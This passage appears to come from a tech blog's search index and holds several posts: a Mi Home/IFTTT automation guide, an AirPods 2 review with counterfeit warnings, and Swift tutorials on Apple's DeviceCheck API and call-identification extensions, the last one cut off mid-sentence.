“leave or arrive at a place”? Because this function is useless, the app is not optimized for Taiwan’s GPS, which is wrong, and its positioning can only be set on landmarks. If your location has that, you can directly use this function. You can skip the rest of the article! Fun fact: All maps of China in Google Maps are wrong!For the quick switch part, you can set the widget from “My” -> “Widgets”!This way, you can quickly execute scenes and devices from the notification center!You can also control the widget from Apple Watch!*If the watch app keeps showing blank, please delete and reinstall the watch or phone app. This app has quite a few bugs.Now that we have the intelligence, how do we automate it?Here, we still need to use the GPS sensing method. If the scene added above is “leave or arrive at a place”, you can skip the following settings!* * * * *[2019/09/26] Update iOS ≥ 13 to achieve automation using only the built-in Shortcuts app:iOS ≥ 13.1 Use the “Shortcuts” automation feature with Mi Home smart home, click to view»* * * * * iOS ≥ 12, iOS < 13 Only: Use the built-in Shortcuts app with IFTTTFirst, go to “My” -> “Experimental Features” -> “iOS Shortcuts” -> “Add Mi Home scenes to Shortcuts”Open the system-built “ Shortcuts “ app (if you can’t find it, please search and download it from the App Store)Click the “+” in the upper right corner to create a shortcut -> Click the settings button below the upper right corner -> Name -> Enter a name (it is recommended to use English, because you will use it later)Return to the new shortcut page -> Enter “Mi Home” in the search menu below -> Add the corresponding scene set in Mi Home, and turn off “Show When Run” otherwise it will open the Mi Home app after execution. *If you can’t find Mi Home, please go back to the Mi Home app and try to toggle “My” -> “Experimental Features” -> “iOS Shortcuts” -> “Add Mi Home scenes to Shortcuts”, and restart the “Shortcuts” app.At this time, we need to use a third-party app again. We use IFTTT to create a GPS entry and exit background trigger. Search for “ IFTTT “ in the App Store to download and install.Open IFTTT, log in to your account, switch to the “My Applets” tab, click the “+” in the upper right corner to add -> Click “+this” -> Search for “Location” -> Choose whether to enter or leaveSet the location -> Click “Create trigger” to confirm -> Then click “+that” below -> Search for “notification”Choose “Send a rich notification from the IFTTT app”:Title = Notification title, Message = Notification contentLink URL, please enter: shortcuts://run-shortcut?name= Shortcut nameSo it’s recommended to set the shortcut name in English-> Click “Create action” -> You can click “Edit title” to set the name-> “Finish” save completed!You will receive a triggered notification the next time you leave/enter the set area range (with an error range of about 100 meters). Clicking the notification will automatically execute the Mi Home scene!Clicking the notification will automatically execute the scene in the backgroundFor Siri voice control:Since Mi Home is not an Apple built-in app, you need to set it up separately to support Siri voice control:In the “Smart” Tab -> “Add to Siri” -> Select “Target Scene” and click “Add to Siri”-> Click the red record command (EX: turn off the light) -> Done!You can directly call and control the scene execution in Siri!SummaryTo summarize the above setup steps:For a good experience, you need to spend a lot of money to buy appliances with the HomeKit logo (so you don’t need to keep a Mac running HomeBridge, and it integrates perfectly with the native Apple Home function). You also need to buy a HomePod or Apple TV, or iPad as the home hub; both HomeKit appliances and home hubs are not cheap!If you have technical skills, you can consider using third-party smart devices (such as Mi Home) with a Raspberry Pi to run HomeBridge.If you are an ordinary person like me, it is still most convenient to use Mi Home directly. Currently, my usage habit is to execute scene operations from the notification center shortcut widget when coming home or leaving home; the Shortcuts app with IFTTT is only used for notification reminders, in case I forget sometimes.Although the current experience has not reached the ideal goal, it has already taken a step closer to a “smart home”!AdvancedDemonstration of using Raspberry Pi as a HomeBridge host to connect all Mi Home appliances to HomeKitFurther Reading New additions to Xiaomi smart home (AI speaker, temperature and humidity sensor, scale 2, DC inverter fan) iOS ≥ 13.1 using “Shortcuts” automation function with Mi Home smart home (directly using the built-in Shortcuts app in iOS ≥ 13.1 to complete automation operations) Mi Home APP / Xiao Ai speaker region issuesIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "AirPods 2 Unboxing and Hands-On Experience", "url": "/posts/33afa0ae557d/", "categories": "ZRealm, Life.", "tags": "airpods, 3c, unboxing, airpods2, life", "date": "2019-05-01 21:32:20 +0800", "snippet": "AirPods 2 Unboxing and Hands-On Experience (Laser Engraved Version)More ingenious, incredibly amazing.[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click HereWhen Air...", "content": "AirPods 2 Unboxing and Hands-On Experience (Laser Engraved Version)More ingenious, incredibly amazing.[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click HereWhen AirPods first came out, I didn’t pay much attention; at first glance, they just looked like a showerhead-shaped wireless Bluetooth earphone. At that time, the wireless Bluetooth earphone market was also very competitive, with various styles and needs being met, and the price wasn’t friendly either. What was so special about it?It wasn’t until I actually got my hands on it that I felt its “amazing” aspect. Since its launch, AirPods have consistently ranked among the top in Bluetooth earphone sales, not just because of Apple fans’ loyalty. So, what’s so good about it? Let’s continue to find out.True Fragrance MemeBackgroundI was originally just a simple iPhone user. Last year, I got a MacBook Pro and an Apple Watch S4, and started falling into the Apple ecosystem (commonly known as the Apple Family Bucket). Having bought the watch, the only thing missing was a pair of earphones.The Bluetooth earphones I was using had been in service for a while. They were decent, not bad but not particularly outstanding either. The sound quality was average, and the battery life was good. The pain points were unclear calls, signal interference, long press to turn on/off, pairing wait time, and unclear battery indicators. These were all minor issues. I mainly used them for commuting and exercising, and mostly used speakers or wired earphones in front of the computer, so they met my basic needs.After the launch of AirPods 1st generation, most of my friends had good experiences with them. This time, I decided to follow the trend and get the AirPods 2nd generation.p.s. Since I haven’t used the 1st generation, my considerations for purchasing won’t include comparisons with the 1st generation (this article also won’t mention differences with the 1st generation).Choosing, Wireless or Wired Version?The price difference between the wireless and wired versions is $1,200. Initially, I considered buying the wireless version, thinking about the messy charging cables on my bedside table and the convenience of carrying one less cable when traveling.After Apple announced the cancellation of AirPower, I searched online for similar products and bought a 2-in-1 wireless charging pad for iPhone and Apple Watch. Since iPhone and AirPods don’t need to be charged simultaneously, it could be used as a 3-in-1 alternately.Everything seemed perfect until I received the product and found that it couldn’t charge the phone and watch simultaneously. The watch’s charging was almost zero, and the speed was very slow. Even using a 5.1V/2.1A adapter didn’t help. I wasn’t sure what voltage adapter to use. Checking online reviews, this issue wasn’t isolated. I ended up returning it.After thinking about it, it’s just two cables (AirPods and iPhone both use lightning/Apple Watch has a dedicated cable), and wired charging is faster. Wireless charging requires the pad, the cable, and possibly a larger adapter. Comparatively, there’s no significant convenience advantage.So I ultimately chose the wired version of AirPods 2. p.s. The difference between the wireless and wired versions is only in the charging case. The wired version is the same as the 1st generation (indicator light inside); the wireless version has the indicator light outside and can also be charged with a cable.OrderingFrom announcement to sale (in Taiwan), it took about a month. I checked the official website daily, hoping it was available, just like many other netizens XD. The wait was agonizing, as other countries had already started selling!On 4/23, as soon as it was available, I placed my order. AirPods 2 offers laser engraving (engraving), so I couldn’t resist and had it engraved:ΛVICII ◢ ◤ — Official Preview Image In memory of the Swedish legendary music producer AVICII “One day you’ll leave this world behind So live a life you will remember.” Avicii — The NightsCan engrave 11 characters, including Chinese/English/symbols/spaces; in practice, most symbols should work. If not supported, it will display “Unable to engrave these characters:”, so no need to worry about garbled text.p.s Engraving requires an additional week of waiting. Without engraving, you can buy directly at 101 or through a dealer (cheaper price).The official estimated delivery time is: 5/3~5/10. On 4/29, I was notified that it was shipped from Shanghai, and luckily, I received it on 4/30 before the May Day holiday (super fast!! from Shanghai to Taipei).Unboxing!Outer PackagingUnfoldedClose-up of the BodyFull Body ShotContents InsideUnboxing ends! The overall feel is substantial, with excellent hand feel and texture. The engraving is also very delicate; it meets the standard of Apple products!UsageFirst Use:For the first use of brand new AirPods, just open the AirPods case near the iPhone, and it will prompt you to complete the pairing; no need to press the pairing button.Setting Up Earphone Operations:Mobile Version:Open “Settings” -> “Bluetooth” -> “Find your AirPods” -> “Settings”MacBook Version:Top left “” -> “System Preferences” -> “Bluetooth” (If there’s no sound, change the sound output to AirPods)You can choose the double-tap action for the left and right ear.Tap position is below the small hole on the upper side of the earphone body:I actually figured out the position after some explorationSome TipsQuickly switch back to using on iPhone:Pull up the menu -> Select the audio block -> Select the top right icon -> Switch to AirPodsYou can also check the AirPods battery here. (Shows the battery of the one with lower battery)Method to check battery using widgets:Swipe left to Control Center -> Bottom “Edit” -> Find “Battery” to add and sortIn the future, you can directly swipe left to Control Center to check the AirPods battery (shows the battery of the one with lower battery). To see the battery of both ears and the case, you need to put one AirPod back in the case and open the case (since the case itself does not have Bluetooth functionality):![Inside the box is the dustproof sticker I applied](/assets/33afa0ae557d/1qoUfpf1Jh_jVrHN_l3QRew.jpeg)Inside the box is the dustproof sticker I applied There is a BUG here. If your battery widget shows the battery level and then disappears, go to “Settings” -> “Display & Brightness” -> “Text Size” -> Adjust back to the default size (third notch) and it will be fixed!Apple Watch Battery Check Method:Swipe up Control Center -> Tap BatteryThe battery display window on the Apple Watch will also show the AirPods battery level at the bottom.p.s. But it seems there is a BUG sometimes it won’t displayAdditional Information about Battery: When the AirPod battery is low, you will hear a tone in one or both AirPods. You will hear a tone once when the battery is low, and another tone before the AirPods turn off. If the AirPods are in the charging case and the lid is open, the indicator light shows the charging status of the AirPods. If the AirPods are not in the case, the light shows the status of the case. Green means fully charged, and amber means less than one full charge remains. — Taken from official documentationUser ExperienceBefore sharing my experience, let me mention a recent entrepreneurial story I heard; in short, it goes: “When making a product, we should not target a wide range but choose a small niche and gradually expand.”The biggest difference between AirPods and other brands of Bluetooth earphones is the impeccable attention to small details. For example, when you take one earbud out, the music automatically pauses, and it resumes when you put it back. You can use them directly when taken out, and put them back when not in use, without worrying about turning them on or off or connecting them. In terms of comfort, you can hardly feel their presence when wearing them.The charging speed is incredibly fast, and they automatically charge when placed in the case. So you only need to occasionally check if the case has power (the case can charge the AirPods about 5 times). You won’t encounter the issue of needing to use Bluetooth earphones only to find them out of power and having to wait for them to charge slowly.The latency is as rumored; you can hardly feel any delay when watching videos or playing games (I tested it with a racing game).Hey Siri feature, at first, I thought it was redundant since I have a watch that can also activate Hey Siri from a distance. But after actual use, as mentioned above, it’s all about “detail experience.” The Hey Siri feature on AirPods is on another level; you don’t even need to raise your hand to activate it. Just call out Hey Siri, and it works, truly making Siri feel omnipresent. This feature is particularly convenient when doing housework or holding things in both hands. Additionally, you can call Siri to adjust the volume: “Hey Siri! Louder,” “Hey Siri! Set volume to 75%.”In summary, using AirPods feels like: “Everything is so natural.”You don’t need to focus on unnecessary things; earphones should just be earphones.Call quality is also impressive. Besides stable basic call quality, the microphone quality is comparable to that of a professional mic, which is amazing. In my test call with a friend, he couldn’t even tell I was using AirPods!Wearing while riding: I was initially excited to wear them while riding to listen to navigation. However, a friend who already had the first generation said, “No,” because with more than 3/4 of helmets, the process of putting on the helmet would press on the ears, making the earphones easy to fall off. My actual test confirmed this, so I suggest only wearing one earbud while riding for safety.Disadvantages:I still need to mention some drawbacks I found.The number of gestures you can control is too limited. I’m really used to controlling volume with gestures (though fortunately, I can control Spotify volume with my watch).Also, while the connection speed to the phone is indeed fast, the connection speed to the computer is slow. My MacBook Pro 2018 is quite slow, but my other Mac Mini connects as quickly as the phone.The TESTV review channel also mentioned that their MacBook Pro, when used with an external display while closed, would have intermittent signal issues with AirPods (I haven’t experienced this).Why are there these differences? I guess it’s due to other signal interferences (lights, screen output, other Bluetooth devices)?Debunking Myths: The size and shape are the same as wired earpods, and they fall out easily:First, the size and shape are different from earpods. I find earpods a bit loose, but AirPods feel very stable, even when jumping around. However, this varies from person to person. Some people may indeed find them unsuitable. I recommend borrowing a friend’s AirPods to try before buying!*Or stick some artificial skin on the earphone head to increase area and resistance The sound quality is similar to earpods: As mentioned above, there’s actually a big difference. AirPods have much better sound quality. Although they may not match the sound quality of similarly priced earphones that focus on sound quality and lack noise-canceling features, AirPods are not designed for sound quality. It’s a trade-off based on personal preference. In my experience, the sound quality is immersive, with a wide sound range, and overall, it doesn’t disappoint! Accessories:Since I have butterfingers, AirPods are like an egg to me, and I’m afraid I’ll drop and break them. After reading many protective case recommendations, many people recommended this one: Catalyst AirPods Waterproof Case (Protective Case).The reasons for choosing this are: waterproof, drop-proof, has a hook, and is convenient to use (you don’t need to remove it when taking out the earphones or charging).Price: Around $1000 [![Unboxing Catalyst AirPods Protective Case Apple earphone](/assets/33afa0ae557d/7645_hqdefault.jpg “Unboxing Catalyst AirPods Protective Case Apple earphone”)](http://www.youtube.com/watch?v=XD8Lvp1vR1M){:target=”_blank”} Mini Unboxing:Front view, I bought a dark color because I’m afraid of dirtThe back also has a corresponding pairing buttonYou only need to flip open the top part to take out the earphonesThe bottom charging port has a cover that can be opened and closedp.s. To use the AirPods immediately, I actually bought the case before the AirPods 😂Question from users: Can the protective case be used for both the 1st and 2nd generation?The distinction is not between the 1st or 2nd generation but between the wired or wireless version. If you have the wired version, both the 1st and 2nd generations can use it. The wireless version has an indicator light on the outside and the pairing button on the back is more centered, so it cannot share the same protective case with the wired version. Please note this ⚠️Next is the dustproof sticker inside the case:AHA AirPods Dustproof StickerQuestion from users about the fit:If not applied properly, it won’t fit well. I had to adjust it for a long time to make it fit perfectly. The edges might feel a bit rough (not affecting usage, possibly due to tolerance?).It’s not easy to apply because the dustproof sticker is a metal piece, and the case itself has a magnet that easily attracts it when you’re trying to align it.Currently, I feel it’s a bit redundant. I’m not sure how effective it will be after some time, so I’m reserving judgment for now.Anti-Fraud AwarenessPlease be especially careful, as there are now high-quality counterfeit versions with cracked chips that also show pairing animations and battery levels, making it almost impossible to distinguish from the real ones by appearance.The main ways to identify them currently are through software: Battery display: The genuine one shows the battery levels for the left ear, right ear, and case separately, while the counterfeit only shows one. In Bluetooth settings, the genuine one allows you to set the tap functions for the left and right ears, while the counterfeit only has disconnect and forget options. The indicator light on the genuine charging case turns off after connecting, while the counterfeit one stays on.However, it’s uncertain if future counterfeit versions will fix these issues, so it’s safer to buy from official or large retail channels.⚠️ Unscrupulous merchants are now even more rampant, selling counterfeits at prices close to the genuine ones ⚠️Recently, on Facebook and Google ad networks, I found unscrupulous merchants selling counterfeits at prices close to the genuine ones (the website is a common one-page scam site), which is very malicious. I think if you’re trying to save money and buy AirPods for around $1000, you should be aware that they are likely fake. But selling counterfeits at genuine prices is extremely low! Please note, the price of brand new AirPods should not be lower than $4500.Scam, unknown sellersIf you accidentally placed an order, refuse to accept it if it’s cash on delivery. If you have already received it, immediately call the courier company to request a return (be firm). If you have any issues, you can join the FB Shopping Ad Victims Self-Help Group.If you see such ads, directly click the top right corner to report to Facebook/Google, or click the ad repeatedly to quickly burn through their ad budget.Additionally, if you find counterfeit AirPods or Apple products, do not tolerate them. Whether it’s from unknown websites, one-page shopping scams, Shopee, or Ruten, make sure to contact the Intellectual Property Protection Brigade to handle it.Or selling the 1st generation as the 2nd generation?Second generation box imagePlease confirm: AirPods 2 model: A2031, A2032 AirPods 1 model: A1523, A1722 Production year: ≥ 2019For detailed comparison between the 1st and 2nd generation, please refer to this article: AirPods First Generation vs Second Generation Identification Tips, Distinguish Them with These 5 TricksOther interesting unboxing and experience videosHow about a full Apple family set?Want to know the hands-on experience of Apple Watch Series 6?Apple Watch Series 6 Unboxing & Two-Year Experience >>> Click HereIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Perfect Implementation of One-Time Offers or Trials in iOS (Swift)", "url": "/posts/c5e7e580c341/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, ios-11, swift, mobile-app-development", "date": "2019-04-29 23:30:01 +0800", "snippet": "Perfect Implementation of One-Time Offers or Trials in iOS (Swift)iOS DeviceCheck follows you everywhereWhile writing the previous Call Directory Extension, I accidentally discovered this obscure A...", "content": "Perfect Implementation of One-Time Offers or Trials in iOS (Swift)iOS DeviceCheck follows you everywhereWhile writing the previous Call Directory Extension, I accidentally discovered this obscure API. Although it’s not something new (announced at WWDC 2017/iOS ≥11 support) and the implementation is very simple, I still did a little research and testing and organized this article as a record.What can DeviceCheck do? Allows developers to identify and mark the user’s deviceSince iOS ≥ 6, developers cannot obtain the unique identifier (UUID) of the user’s device. The compromise is to use IDFV combined with KeyChain (for details, refer to this article), but in situations like changing iCloud accounts or resetting the phone, the UUID will still reset. It cannot guarantee the uniqueness of the device. If used for storing and judging some business logic, such as the first free trial, users might exploit the loophole by constantly changing accounts or resetting the phone to get unlimited trials.Although DeviceCheck cannot provide a UUID that will never change, it can “store” information. Each device is given 2 bits of cloud storage space by Apple. By sending a temporary identification token generated by the device to Apple, you can write/read the 2 bits of information.2 bits? What can be stored?Only four states can be combined, so the functionality is limited.Comparison with original storage methods:✓ Indicates data is still therep.s. I sacrificed my own phone for actual testing, and the results matched. Even if I logged out and changed iCloud, cleared all data, restored all settings, and returned to the factory initial state, I could still retrieve the value after reinstalling the app.Main operation process:The iOS app generates a temporary token for device identification through the DeviceCheck API, sends it to the backend, which then combines the developer’s private key information and developer information into JWT format and sends it to the Apple server. The backend processes the result returned by Apple and sends it back to the iOS app.Application of DeviceCheckHere is a screenshot of DeviceCheck from WWDC2017:Since each device can only store 2 bits of information, the possible applications are limited to what the official mentions, such as whether the device has been trialed, paid, or blacklisted, etc., and only one can be implemented.Support: iOS ≥ 11Let’s start!After understanding the basic information, let’s get started!iOS APP side:import DeviceCheck//....//DCDevice.current.generateToken { dataOrNil, errorOrNil in guard let data = dataOrNil else { return } let deviceToken = data.base64EncodedString() //... //POST deviceToken to the backend, let the backend query the Apple server, and then return the result to the app for processing}As described in the process, the app only needs to obtain the temporary identification token (deviceToken)!Next, send the deviceToken to our backend API for processing.Backend:The key part is the backend processing1. First, log in to the Developer Console Note down the Team ID2. Then click on the sidebar Certificates, IDs & Profiles to go to the certificate management platformSelect “Keys” -> “All” -> Top right corner “+”Step 1. Create a new Key, check “DeviceCheck”Step 2. “Confirm”Finished.After completing the last step, note down the Key ID and click “Download” to download the privateKey.p8 private key file.At this point, you have all the necessary information for push notifications: Team ID Key ID privateKey.p83. Combine according to Apple’s JWT (JSON Web Token) formatAlgorithm: ES256//HEADER:{ \"alg\": \"ES256\", \"kid\": Key ID}//PAYLOAD:{ \"iss\": Team ID, \"iat\": request timestamp (Unix Timestamp, EX: 1556549164), \"exp\": expiration timestamp (Unix Timestamp, EX: 1557000000)}//Timestamps must be in integer format!Get the combined JWT string: xxxxxx.xxxxxx.xxxxxx4. Send the data to the Apple server & get the return resultLike APNS push notifications, there are separate environments for development and production: Development environment: api.development.devicecheck.apple.com (For some reason, my development environment requests always fail) Production environment: api.devicecheck.apple.comDeviceCheck API provides two operations:1. Query stored data: https://api.devicecheck.apple.com/v1/query_two_bits//Headers:Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (combined JWT string)//Content:device_token: deviceToken (the device token to query)transaction_id: UUID().uuidString (query identifier, using UUID here)timestamp: request timestamp (milliseconds), note! This is in milliseconds (EX: 1556549164000)Return status:Official DocumentationReturn Content:{ \"bit0\": Int: The first bit of the 2 bits data: 0 or 1, \"bit1\": Int: The second bit of the 2 bits data: 0 or 1, \"last_update_time\": String: \"Last update time YYYY-MM\"}p.s. You read it right, the last update time can only be displayed up to year-month2. Write Storage Data: https://api.devicecheck.apple.com/v1/update_two_bits//Headers:Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (combined JWT string)//Content:device_token:deviceToken (Device Token to query)transaction_id:UUID().uuidString (Query identifier, here directly represented by UUID)timestamp: Request timestamp (milliseconds), note! This is in milliseconds (EX: 1556549164000)bit0: The first bit of the 2 bits data: 0 or 1bit1: The second bit of the 2 bits data: 0 or 15. Get Apple Server Return ResultReturn Status:Official DocumentationReturn Content: None, return status 200 indicates a successful write!6. Backend API Returns Result to APPThe APP responds to the corresponding status and it’s done!Backend Supplement:It’s been a long time since I touched PHP, if interested, please refer to iOS11で追加されたDeviceCheckについて for the requestToken.php partSwift Version Demo:Since I can’t provide backend implementation and not everyone knows PHP, here is a pure iOS (Swift) example that handles backend tasks (generating JWT, sending data to Apple) directly in the APP for reference!You can simulate all content without writing backend code. ⚠ Please note for testing and demonstration purposes only, not recommended for production environment ⚠Special thanks to Ethan Huang for providing CupertinoJWT which supports generating JWT content within the iOS APP!Main Demo Code and Interface:import UIKitimport DeviceCheckimport CupertinoJWTextension String { var queryEncode: String { return self.addingPercentEncoding(withAllowedCharacters: .whitespacesAndNewlines)?.replacingOccurrences(of: \"+\", with: \"%2B\") ?? \"\" }}class ViewController: UIViewController { @IBOutlet weak var getBtn: UIButton! @IBOutlet weak var statusBtn: UIButton! @IBAction func getBtnClick(_ sender: Any) { DCDevice.current.generateToken { dataOrNil, errorOrNil in guard let data = dataOrNil else { return } let deviceToken = data.base64EncodedString() //In a real situation: //POST deviceToken to backend, let backend query Apple server, then return the result to the APP //!!!!!! The following is for testing and demonstration purposes only, not recommended for production environment!!!!!! //!!!!!! Do not expose your PRIVATE KEY casually!!!!!! let p8 = \"\"\" -----BEGIN PRIVATE KEY----- -----END PRIVATE KEY----- \"\"\" let keyID = \"\" //Your KEY ID let teamID = \"\" //Your Developer Team ID: https://developer.apple.com/account/#/membership let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60) do { let token = try jwt.sign(with: p8) var request = URLRequest(url: URL(string: \"https://api.devicecheck.apple.com/v1/update_two_bits\")!) request.httpMethod = \"POST\" request.addValue(\"Bearer \\(token)\", forHTTPHeaderField: \"Authorization\") request.addValue(\"application/x-www-form-urlencoded\", forHTTPHeaderField: \"Content-Type\") let json: [String: Any] = [\"device_token\": deviceToken, \"transaction_id\": UUID().uuidString, \"timestamp\": Int(Date().timeIntervalSince1970.rounded()) * 1000, \"bit0\": true, \"bit1\": false] request.httpBody = try? JSONSerialization.data(withJSONObject: json) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in guard let data = data else { return } print(String(data: data, encoding: String.Encoding.utf8)) DispatchQueue.main.async { self.getBtn.isHidden = true self.statusBtn.isSelected = true } } task.resume() } catch { // Handle error } //!!!!!! The above is for testing and demonstration purposes only, not recommended for production environment!!!!!! // } } override func viewDidLoad() { super.viewDidLoad() DCDevice.current.generateToken { dataOrNil, errorOrNil in guard let data = dataOrNil else { return } let deviceToken = data.base64EncodedString() //In a real situation: //POST deviceToken to backend, let backend query Apple server, then return the result to the APP //!!!!!! The following is for testing and demonstration purposes only, not recommended for production environment!!!!!! //!!!!!! Do not expose your PRIVATE KEY casually!!!!!! let p8 = \"\"\" -----BEGIN PRIVATE KEY----- -----END PRIVATE KEY----- \"\"\" let keyID = \"\" //Your KEY ID let teamID = \"\" //Your Developer Team ID: https://developer.apple.com/account/#/membership let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60) do { let token = try jwt.sign(with: p8) var request = URLRequest(url: URL(string: \"https://api.devicecheck.apple.com/v1/query_two_bits\")!) request.httpMethod = \"POST\" request.addValue(\"Bearer \\(token)\", forHTTPHeaderField: \"Authorization\") request.addValue(\"application/x-www-form-urlencoded\", forHTTPHeaderField: \"Content-Type\") let json: [String: Any] = [\"device_token\": deviceToken, \"transaction_id\": UUID().uuidString, \"timestamp\": Int(Date().timeIntervalSince1970.rounded()) * 1000] request.httpBody = try? JSONSerialization.data(withJSONObject: json) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in guard let data = data, let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String: Any], let status = json[\"bit0\"] as? Int else { return } print(json) if status == 1 { DispatchQueue.main.async { self.getBtn.isHidden = true self.statusBtn.isSelected = true } } } task.resume() } catch { // Handle error } //!!!!!! The above is for testing and demonstration purposes only, not recommended for production environment!!!!!! // } // Do any additional setup after loading the view. }}ScreenshotThis is a one-time discount claim, each device can only claim once!Complete project download:If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Identify Your Own Calls (Swift)", "url": "/posts/ac557047d206/", "categories": "ZRealm, Dev.", "tags": "ios, whoscall, swift, ios-app-development, ios-apps", "date": "2019-04-28 00:07:27 +0800", "snippet": "Identify Your Own Calls (Swift)iOS DIY Whoscall Call Identification and Phone Number Tagging FeaturesOriginI have always been a loyal user of Whoscall. I used it when I originally had an Android ph...", "content": "Identify Your Own Calls (Swift)iOS DIY Whoscall Call Identification and Phone Number Tagging FeaturesOriginI have always been a loyal user of Whoscall. I used it when I originally had an Android phone, and it could display unknown caller information very promptly, allowing me to decide whether to answer the call immediately. Later, I switched to the Apple camp, and my first Apple phone was the iPhone 6 (iOS 9). At that time, using Whoscall was very awkward; it couldn’t identify calls in real-time, and I had to copy the phone number to the app for inquiry. Later, Whoscall provided a service to install the unknown phone number database locally on the phone, which solved the real-time identification problem but easily messed up my phone contacts!Until iOS 10+ when Apple opened the call identification feature (Call Directory Extension) permissions to developers, Whoscall’s experience at least matched the Android version, if not surpassed it (the Android version has a lot of ads, but from a developer’s standpoint, it’s understandable).Purpose?Call Directory Extension can do what? Phone outgoing call identification and tagging Phone incoming call identification and tagging Call history identification and tagging Phone blocking blacklist setupLimitations? Users need to manually go to “Settings” -> “Phone” -> “Call Blocking & Identification” to enable your app. Can only identify calls using an offline database (cannot obtain incoming call information in real-time and then call an API for inquiry, can only pre-write number <-> name mappings in the phone database).*Therefore, Whoscall periodically pushes notifications asking users to open the app to update the call identification database. Quantity limit? No data found so far, it should depend on the user’s phone capacity with no special limit; however, a large number of identification lists and blocking lists need to be processed in batches! Software limitation: iOS version must be ≥ 10“Settings” -> “Phone” -> “Call Blocking & Identification”Application Scenarios? Communication software, office communication software; in the app, you may have the contact of the other party but have not actually added the phone number to the phone contacts. This feature can avoid missing calls from colleagues or even the boss by treating them as unknown calls. Our site (Marry) or our private (591 Real Estate), when users contact stores or landlords, the calls are made through our transfer numbers, routed through the transfer center to the target phone. The general process is as follows:The calls made by users are all representative numbers of the transfer center (#extension), and they will not know the real phone number; on one hand, it protects personal privacy, and on the other hand, it allows us to know how many people contacted the store (evaluate effectiveness) and even know where they saw it before calling (e.g., webpage shows #1234, app shows #5678). It also allows us to offer free services by absorbing the phone communication costs.However, this approach brings an unavoidable problem: messy phone numbers. It is impossible to identify who the call is for or when the store calls back, the user does not know who the caller is. Using the call identification feature can greatly solve this problem and improve the user experience!Here’s a finished product screenshot:結婚吧 APPYou can see that when entering the phone number, the recognition result can be directly displayed during the call, and the call history list is no longer messy and can display the recognition result at the bottom.Call Directory Extension Call Recognition Function Workflow:Let’s Get Started:Let’s start working!1. Add Call Directory Extension to the iOS projectXcode -> File -> New -> TargetSelect Call Directory ExtensionEnter Extension NameOptionally add Scheme for easier DebuggingA folder and program for Call Directory Extension will appear under the directory2. Start Writing Call Directory Extension Related ProgramsFirst, return to the main iOS projectThe first question is how do we determine if the user’s device supports Call Directory Extension or if the “Call Blocking & Identification” in the settings is turned on:import CallKit////......//if #available(iOS 10.0, *) { CXCallDirectoryManager.sharedInstance.getEnabledStatusForExtension(withIdentifier: \"Enter the bundle identifier of the call directory extension here\", completionHandler: { (status, error) in if status == .enabled { //Enabled } else if status == .disabled { //Disabled } else { //Unknown, not supported } })}As mentioned earlier, the way call recognition works is to maintain a local recognition database; so how do we achieve this function?Unfortunately, you cannot directly call and write data to the Call Directory Extension, so you need to maintain an additional corresponding structure, and then the Call Directory Extension will read your structure and write it into the recognition database. The process is as follows:This means we need to maintain our own database file, and then let the Extension read and write it into the phoneSo what should the recognition data/file look like? It is actually a Dictionary structure, such as: [“Phone”:”Wang Da Ming”] The local file can use some Local DB (but the Extension must also be able to install and use it). Here, a .json file is directly stored on the phone; It is not recommended to store it directly in UserDefaults. If it is for testing or very little data, it is okay, but it is strongly not recommended for actual applications!Okay, let’s start:if #available(iOS 10.0, *) { if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: \"Your cross-Extension, Group Identifier name\") { let fileURL = dir.appendingPathComponent(\"phoneIdentity.json\") var datas:[String:String] = [\"8869190001234\":\"Mr. Li\",\"886912002456\":\"Handsome\"] if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let json2 = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String,String>,let json = json2 { datas = json } if let data = jsonToData(jsonDic: datas) { DispatchQueue(label: \"phoneIdentity\").async { if let _ = try? data.write(to: fileURL) { //Writing json file completed } } } }}Just general local file maintenance, note that the directory needs to be readable by the Extension as well.Supplement — Phone Number Format: For landline and mobile numbers in Taiwan, remove the 0 and replace it with 886: e.g., 0255667788 -> 886255667788 The phone number format should be a string of pure numbers, do not mix in symbols like “-“, “,”, “#”, etc. If the landline phone number includes an extension, append it directly without any symbols: e.g., 0255667788,0718 -> 8862556677880718 To convert the general iOS phone format into a format recognizable by the database, you can refer to the following two replacement methods:var newNumber = \"0255667788,0718\"if let regex = try? NSRegularExpression(pattern: \"^0{1}\") { newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: \"886\")}if let regex = try? NSRegularExpression(pattern: \",\") { newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: \"\")}Next, as per the process, once the identification data is maintained, you need to notify the Call Directory Extension to refresh the data on the phone:if #available(iOS 10.0, *) { CXCallDirectoryManager.sharedInstance.reloadExtension(withIdentifier: \"tw.com.marry.MarryiOS.CallDirectory\") { errorOrNil in if let error = errorOrNil as? CXErrorCodeCallDirectoryManagerError { print(\"reload failed\") switch error.code { case .unknown: print(\"error is unknown\") case .noExtensionFound: print(\"error is noExtensionFound\") case .loadingInterrupted: print(\"error is loadingInterrupted\") case .entriesOutOfOrder: print(\"error is entriesOutOfOrder\") case .duplicateEntries: print(\"error is duplicateEntries\") case .maximumEntriesExceeded: print(\"maximumEntriesExceeded\") case .extensionDisabled: print(\"extensionDisabled\") case .currentlyLoading: print(\"currentlyLoading\") case .unexpectedIncrementalRemoval: print(\"unexpectedIncrementalRemoval\") } } else if let error = errorOrNil { print(\"reload error: \\(error)\") } else { print(\"reload succeeded\") } }}Use the above method to notify the Extension to refresh and obtain the execution result. (At this time, the 